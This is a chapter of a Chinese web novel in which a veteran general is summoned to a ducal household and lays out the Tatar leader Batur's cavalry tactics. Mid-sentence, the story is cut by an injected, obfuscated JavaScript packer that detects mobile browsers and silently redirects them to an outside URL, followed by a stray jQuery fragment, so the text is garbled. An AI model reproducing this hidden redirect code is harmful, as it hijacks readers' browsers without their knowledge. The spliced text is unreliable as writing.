第四百零七章 故人
作品:《夺回享福命,炮灰长媳夫贤妻贵》 “臣,遵旨!”
离开皇宫,杜仁绍立刻回府,叫来杜衡,“备马!立刻拿我手令去京郊听涛山庄,见周显将军。”
“是!”杜衡领命,不敢有丝毫怠慢,立刻去安排。
杜衡马不停蹄的赶到那里,翻身下马,将杜仁绍的手令举起,“京营杜衡,奉镇国公杜仁绍命令,求见周显将军!”
门房早就得了吩咐,慌忙打开木门。
杜衡迅速走进去,只见庭院中一株古槐树下,一位身着半旧葛布袍、身形挺拔的男子正闭目养神。
他面容黝黑,一道浅疤斜贯左眉,更添几分剽悍,正是周显。
“周将军,”杜衡单膝跪地,双手奉上令牌,“国公爷急令,请将军即刻随我入京,有要事相商!”
周显眼皮都没抬,哼了一声,“杜国公的令牌?呵,他倒还记得我这个老伤号。”
话音未落,人已经霍的起身,动作干脆利落,丝毫没有病容。
他接过令牌扫了一眼,揣入怀中,大步流星向外走去,“备马!去镇国公府!”
镇国公府正厅。
杜仁绍端坐主位,下首左右分坐着杜振邦、春儿夫妇及李梵娘。
“吱呀——”一声,门被推开。
周显大步走进来,玄色披风挟着风尘仆仆的寒气。
他目光如电,瞬间扫过厅内众人,最终定格在杜仁绍脸上,嘴角勾起一抹笑。
“哟,”周显抱拳,声如洪钟,“这不是杜老国公嘛!几年不见,越发威严了,怎么着,还记得我这号人物?没让那些酸儒文官把我忘了?”
杜仁绍紧绷的下颌骤然松弛,眼底掠过一丝笑意。
他抬手虚按,示意周显入座:“仲武,你我之间,什么时候用说这些场面话了,坐。”
“还是老样子,刀子嘴豆腐心。”周显毫不客气地坐下。
目光转向一旁的杜振邦,挑眉道:“这就是你那个宝贝儿子?之前你说的那个抱在怀里哭鼻子的小崽子?如今都长成能独当一面的忠勇伯了?”
杜振邦被他看得有些局促,连忙起身拱手:“周将军谬赞。晚辈杜振邦,见过将军。”
“免礼免礼!”周显大手一挥,眼中笑意更浓,“你爹当年总和我念叨,说振邦这小子有他当年的影子,倔得很。”
“现在看来,是青出于蓝啊!听说你在东南平倭寇、建市舶司,干得漂亮!比你爹当年只会闷头打仗强!”
一旁的春儿掩口轻笑,看着自家弟弟瞬间涨红的脸,低声对林文轩道:“瞧见没,这就是周将军的本事,三句话就能让振邦手足无措。”
林文轩含笑点头,目光落在周显眉宇间的疤痕上,温声道:“周将军能来,实乃朝廷之幸,家父也常与我提起将军在雁回关的功绩,称您为漠北之眼,令人敬佩。”
“林太医过誉了,”周显摆摆手,目光扫过众人,最后落在李梵娘身上,“国公夫人安好,当年在西北军营,夫人的金疮药可是救了我不少兄弟的命。”
李梵娘颔首微笑:“将军客气了,听闻将军为护雁回关,中了鞑靼人的**,这些年可曾好利索了?”
“不打紧!”周显满不在乎地拍了拍胸口,“用了夫人的药方,已经养得七七八八了,如今北疆有事,这点小伤,拦不住我周显上马提刀!”
杜仁绍适时举起酒杯:“仲武,此番请你来,不为叙旧,北疆鞑靼巴图尔部有异动,已经成了心腹大患。”
“我已经向陛下举荐你为镇北大将军,总督漠南军务,今日设宴,一是为你接风洗尘,二是共商破敌之策!”
“好!”周显猛地一拍桌案,震得杯盏轻响,“巴图尔那厮!我盯他好几年了!当年在雁回关,他就数次试探,被我打得灰头土脸!老杜你信得过我,我周显定叫他有来无回!”
书房内。
北疆舆图前,周显手持一柄木杆,他身后站着杜仁绍、杜振邦及数名心腹将领,气氛凝重。
“巴图尔此人,野心勃勃,手段狠辣。”周显的木杆重重戳在舆图上“巴彦浩特”的位置。
“他本是鞑靼右贤王之子,三年前弑父夺位,整合了周边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869620|182915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
七部,约有三万骑!”
“三万骑?”兵部侍郎倒吸一口凉气,“这兵力远超往年啊!”
“正是!”周显冷笑,“这三万骑,并不是什么乌合之众。核心是他的本部苍狼卫,约五千精兵,都配了西域良马、鳞甲长矛,冲击力极强!”
“其余两万五千骑,多为各部附庸,以轻骑兵为主,机动灵活,善于长途奔袭和包抄分割!”
他走到沙盘旁,用代表骑兵的小旗快速布阵:“巴图尔的战术,精髓在于一个快字!他惯用轻骑作为先锋,就像蝗虫过境,扫荡外围据点,劫掠粮草,引诱我军分散兵力。”
“等到我军疲惫之际,再以重甲骑兵配合轻骑包抄,形成合围的攻势,此战术在草原上屡试不爽!”
杜振邦盯着沙盘上不断变化的旗阵,眉头紧锁:“将军是说巴图尔会放弃攻坚,专攻我军防线薄弱的地方,以机动性换取局部优势?”
“孺子可教!”周显赞许地点点头,木杆指向雁回关方向,“就拿当年我守雁回关为例,巴图尔初期也强攻过,损兵折将,后来学乖了,不再硬碰硬。”
“他派了数千轻骑绕道戈壁,直插粮道,又派另一队骑兵伪装成商队,混入关内制造混乱,若不是我早有防备,险些着了他的道!”
杜仁绍面色凝重:“所以,巴图尔此次南下,必然会故技重施,甚至可能同时开辟多个战场,分散我军兵力?”
“仁绍说对了,”周显斩钉截铁,“巴图尔的目标,绝对不是一城一池,他想要掠夺人口财富,更重要的是试探我朝北疆的虚实,为了更大规模的入侵做准备。”
他走到窗边,望向北方阴沉的天空,“我军若是要取胜,必须反其道而行之。”
“其一,收缩防线,依托雁回关、狼山口等地进行防御,绝不能轻易分兵追击他们的游骑!”
“其二,以骑制骑,组建骑兵突击部队,专门压制轻骑骚扰;其三,派人深入漠北,务必掌握巴图尔主力动向及后勤补给线!其四,也是最重要的……”

